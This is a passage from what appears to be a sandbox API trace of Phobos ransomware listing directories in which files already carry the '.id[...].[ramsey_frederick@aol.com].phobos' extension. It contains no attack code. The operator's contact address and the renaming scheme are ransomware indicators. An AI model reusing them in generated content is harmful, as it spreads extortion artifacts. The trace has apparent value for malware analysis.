ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="2052", cAlternateFileName="")) returned 1 [0124.400] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5a60 [0124.401] FindNextFileW (in: hFindFile=0x7b5a60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.401] FindNextFileW (in: hFindFile=0x7b5a60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee44f78f, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee44f78f, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee4bf682, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x17c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.401] FindNextFileW (in: hFindFile=0x7b5a60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee44f78f, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee44f78f, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee4bf682, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xee12, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.401] FindNextFileW (in: hFindFile=0x7b5a60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed947fc1, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed947fc1, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed96e30a, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.401] FindNextFileW (in: hFindFile=0x7b5a60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed947fc1, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed947fc1, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed96e30a, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.401] FindClose (in: hFindFile=0x7b5a60 | out: hFindFile=0x7b5a60) returned 1 [0124.402] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36b4088 | out: hHeap=0xe70000) returned 1 [0124.402] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="2070", cAlternateFileName="")) returned 1 [0124.402] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5a20 [0124.403] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.403] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee4bf682, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee4bf682, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee794272, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x10a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.403] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee4bf682, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee4bf682, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee77a611, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x13a82, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.403] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed96e30a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed96e30a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed9ba6bd, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.403] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed96e30a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed96e30a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed9ba6bd, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.403] FindClose (in: hFindFile=0x7b5a20 | out: hFindFile=0x7b5a20) returned 1 [0124.404] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36b4088 | out: hHeap=0xe70000) returned 1 [0124.404] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="3076", cAlternateFileName="")) returned 1 [0124.404] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5a20 [0124.405] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.405] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee794272, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee794272, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee7ba40a, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x19a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.405] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee794272, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee794272, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee7ba40a, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xeea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.405] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed994489, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed994489, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed9e0971, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.405] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed994489, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed994489, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed9e0971, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.405] FindClose (in: hFindFile=0x7b5a20 | out: hFindFile=0x7b5a20) returned 1 [0124.406] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36b4088 | out: hHeap=0xe70000) returned 1 [0124.406] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="3082", cAlternateFileName="")) returned 1 [0124.406] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5be0 [0124.407] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.407] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7ba40a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee7ba40a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee7e0692, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.407] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7ba40a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee7ba40a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee806a95, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x13982, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.407] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed9ba6bd, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed9ba6bd, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed9e0971, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.407] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed9ba6bd, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed9ba6bd, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed9e0971, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.407] FindClose (in: hFindFile=0x7b5be0 | out: hFindFile=0x7b5be0) returned 1 [0124.408] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36b4088 | out: hHeap=0xe70000) returned 1 [0124.408] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Client", cAlternateFileName="")) returned 1 [0124.408] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5a20 [0124.409] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.409] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7e0692, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee7e0692, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee806a95, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x31552, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="PARAME~1.PHO")) returned 1 [0124.409] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee806a95, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee806a95, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee95de14, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x9982, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="UIINFO~1.PHO")) returned 1 [0124.409] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee806a95, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee806a95, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee95de14, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x9982, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="UIINFO~1.PHO")) returned 0 [0124.409] FindClose (in: hFindFile=0x7b5a20 | out: hFindFile=0x7b5a20) returned 1 [0124.410] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36b4088 | out: hHeap=0xe70000) returned 1 [0124.410] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee82cbf1, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee82cbf1, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee944551, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4002, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="DHtmlHeader.html.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="DHTMLH~1.PHO")) returned 1 [0124.410] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed9e0971, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed9e0971, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeda2ce12, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x15ad2, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="DisplayIcon.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="DISPLA~1.PHO")) returned 1 [0124.410] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Extended", cAlternateFileName="")) returned 1 [0124.410] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5a20 [0124.411] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.411] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee95de14, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee95de14, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee9aa4d3, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x16d92, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="PARAME~1.PHO")) returned 1 [0124.411] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee98423e, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee98423e, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee9d06c8, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x9982, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="UIINFO~1.PHO")) returned 1 [0124.411] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee98423e, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee98423e, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee9d06c8, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x9982, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="UIINFO~1.PHO")) returned 0 [0124.411] FindClose (in: hFindFile=0x7b5a20 | out: hFindFile=0x7b5a20) returned 1 [0124.412] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36b4088 | out: hHeap=0xe70000) returned 1 [0124.412] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, 